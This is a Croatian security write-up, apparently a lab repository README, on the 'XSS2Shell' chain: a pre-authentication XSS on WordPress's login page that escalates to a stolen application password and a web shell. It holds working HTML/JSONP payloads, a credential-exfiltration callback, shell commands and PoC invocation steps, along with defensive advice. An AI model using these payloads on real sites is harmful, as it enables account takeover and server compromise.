Samo ovlašteno testiranje.
Sve ispod izvođeno je protiv lokalnog laboratorija (WordPress 7.0.2 na localhos). Ne koristite ove tehnike protiv sustava koje ne posjedujete ili za koje nemate izričito dopuštenje za testiranje.
Sažetak za rukovodstvo
XSS2Shell nije jedna jedina greška — to je sedmostupanjski eksploatacijski lanac koji počinje jednim znakom (< nakon kojeg slijedi razmak) koji zaobilazi dva različita HTML parsera na WordPress stranici za prijavu, a završava s PHP-om koji se izvršava na poslužitelju kao www-data.
Što ga čini opasnim:
- Faza 1 ne zahtijeva nikakvu autentifikaciju — bilo tko može pokrenuti JavaScript na
wp-login.php. - Nalazi se u WordPress jezgri — nije dodatak; praktički svaka podržana instalacija od 2016. je pogođena.
- Koristi Wordpressov vlastiti kod —
user-profile.js, REST JSONP, lozinke aplikacija, učitavanje dodatka — kao alate. - Puni RCE je demonstriran i priznat od strane WordPressa — iako zahtijeva navodenje prijavljenog administratora na jedan klik.
Ovaj članak prolazi kroz svaku fazu s snimkama zaslona iz našeg lokalnog laba.
Laboratorijsko okruženje
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Svaka WordPress stranica izlaže /wp-login.php. Ta stranica je ulazna točka cijelog lanca.
Faza 0: Razlika u parseru (temeljni uzrok)
Kada prijava ne uspije, WordPress prikazuje uneseno korisničko ime unutar poruke o pogrešci. Korisničko ime prolazi kroz dva sanitizatora koji se ne slažu oko toga što je "tag":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Payload koristi razmak nakon<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XNa ranjivom WordPressu 7.0.2, ovo preživljava sanitizaciju i postaje živi DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
Na zakrpanom WordPressu 7.0.4, isti payload je HTML-escapiran u poruci o pogrešci — bez živih elemenata.
Ova greška postoji od WordPressa 4.7 (2016.) i prošla je nezapaženo kroz godine sigurnosnih revizija.
Faza 1: XSS prije autentifikacije (nije potrebna prijava)
Ubačeni DOM čvorovi odgovaraju selektorima koje WordPressov vlastiti user-profile.js traži na stranici za prijavu (učitan za tijek resetiranja lozinke):
.reset-pass-submit .wp-generate-pwse automatski klikne pri učitavanju stranice- Klik se širi do delegiranog rukovatelja
#color-picker-a - Provjera zaštite
user_id === checkuser_idprolazi jer su obaundefined - jQuery šalje POST na
ajaxurl— aliajaxurlne postoji na stranici za prijavu…
Osim ako ga ne pregazimo:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Element <area id=ajaxurl> postaje window.ajaxurl. jQuery poziva .toString() → vraća href. WordPress REST vraća JSONP → jQuery globalEval() → alert()se izvršava na WordPress izvoru.

Pošaljite obrazac (ili otvorite demo/stage1-preauth-xss.html i kliknite Pokreni fazu 1):

Utjecaj samo ove faze: phishing vjerodajnica na stvarnoj domeni, session riding, API pozivi s istim izvorom — bez ikakve autentifikacije.
Faza 2: Socijalni inženjering — klik administratora
Faze 2–7 zahtijevaju da prijavljeni administrator otvori stranicu pod kontrolom napadača. To je prepreka koja drži CVSS ispod 10 — ali je realna u ciljanim napadima.
Administrator može primiti: "Vaša sesija je istekla — kliknite ovdje za ponovnu autentifikaciju."

Kada se klikne, stranica napadača:
- Otvara podređeni popup (
about:blank) - Preusmjerava glavni prozor na WordPress stranicu za autorizaciju lozinke aplikacije
- Upisuje XSS obrazac u podređeni skočni prozor i automatski ga šalje na
wp-login.php

Faza 3: Izvršavanje metode istog izvora (SOME) — automatsko odobravanje
XSS payload podređenog prozora mijenja JSONP povratni poziv s alert u:
window.opener.approve.clickWordPress REST omata odgovor:
/**/window.opener.approve.click({...})Izvođenje razrješava window.opener (nadređeni prozor) → .approve (gumb #approve) → .click(). Gumb Odobri lozinku aplikacije klikne se automatski — bez interakcije korisnika na toj stranici.

Primijetite URL povratnog poziva na stranici: vjerodajnice će biti poslane na http://127.0.0.1:9090/callback?...&password=[------].
Faza 4: Dohvaćanje lozinke aplikacije
WordPress stvara novu lozinku aplikacije i preusmjerava na napadačev success_url s vjerodajnicom u nizu upita:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXNapadač sada ima HTTP Basic auth vjerodajnice za WordPress REST API — iz administratorove vlastite sesije, bez ikakvog unosa administratora nakon početnog klika na poveznicu.
Faza 5: Objava stranice pod kontrolom napadača
Koristeći ukradenu lozinku aplikacije, napadač šalje POST zahtjev na /wp-json/wp/v2/pages i objavljuje stranicu s ugrađenim JavaScriptom. Administratori imaju mogućnost unfiltered_html — script oznake preživljavaju.
Faza 6: Postavljanje dodatka putem administratorske sesije
Napadačev JavaScript (koji se izvršava u administratorovom pregledniku na objavljenoj stranici):
- Dohvaća
/wp-admin/plugin-install.php?tab=uploadradi nonce vrijednosti za postavljanje - Šalje POST zahtjev sa zlonamjernim ZIP-om na
/wp-admin/update.php?action=upload-plugin - WordPress ga raspakirava u
wp-content/plugins/xss2shell/
Dodatak ne mora biti aktiviran. PHP datoteke u direktoriju dodatka izravno su dostupne putem weba.
Faza 7: Daljinsko izvršavanje koda
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiOdgovor:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Napadač sada izvršava proizvoljne naredbe kao korisnik web poslužitelja — čita wp-config.php (vjerodajnice baze podataka), ispušta bazu podataka, lateralno se širi.
Potpuni terminal izlaz PoC-a:

Cijeli lanac na prvi pogled
sequenceDiagram participant A as Attacker server participant V as Victim browser participant W as WordPress 7.0.2 Note over V,W: Admin is logged in V->>A: Opens phishing link (1 click) A->>V: Attacker HTML + child popup V->>W: Main window → authorize-application.php V->>W: Child POSTs XSS payload to wp-login.php W->>V: JSONP executes window.opener.approve.click Note over V,W: Approve button clicked automatically W->>A: Redirect with Application Password A->>W: REST API publish page (Basic auth) V->>W: Admin visits page → uploads plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataKoliko je to zapravo opasno?
Što je zajamčeno (visoka pouzdanost)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Što zahtijeva dodatne uvjete (put do RCE-a)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Kalibracija ozbiljnosti
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Zaključak: Ovo nije crvojivi RCE bez klika poput Log4Shell. Jest duboko tehnička ranjivost na razini jezgre koja zahvaća ~43% weba gdje:
- Sama faza 1 predstavlja ozbiljan pre-auth XSS na stranici za prijavu
- Cijeli lanac pretvara jedan administratorov klik u kompromitaciju poslužitelja
- Temeljni uzrok (razlika u parserima) primjenjuje se na svaki kod koji koristi više HTML parsera
WordPressovo vlastito savjetovanje navodi da RCE zahtijeva "uvjete izvan napadačeve kontrole" i "uspješno socijalno inženjerstvo." To je točno — ali demonstrirani lanac čini te uvjete ostvarivima s jednom jedinom poveznicom.
Reproducirajte cijeli lanac lokalno
# 1. Start lab make up # 2. Enable Application Passwords on HTTP (lab only) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC listener python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. In browser: # a. Log in as admin at http://localhost:9080/wp-login.php # b. Open http://127.0.0.1:9091/phishing-sim.html # c. Click "Open attacker page" (allow popups) # d. Wait for terminal output showing shell + whoamiObrana
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Ispravak dodaje esc_html() korisničkom imenu u putanji pogreške prijave — osiguravajući da se niz tretira kao tekst, a ne ponovno parsira kao HTML.
Zašto je ovo važno za sigurnosna istraživanja
Svaka karika u lancu je pojedinačno dosadna:
- Diferencijal parsera → nisko ozbiljna administracija
- Pogrešna skripta učitana na stranici za prijavu → nisko
- JSONP povratni poziv validiran regexom → srednje
- Lozinka aplikacije u URL-u preusmjeravanja → srednje
- Direktorij dodataka izvršava PHP bez aktivacije → poznati dizajn
Sastavljeni, oni su CVSS 8.9 i shell.
Pouka: pri procjeni XSS nalaza, pitajte se "što je već učitano na ovoj stranici i što će učiniti ako mu predam prave DOM čvorove?" Ozbiljnost je svojstvo lanca, a ne pojedinačne greške.



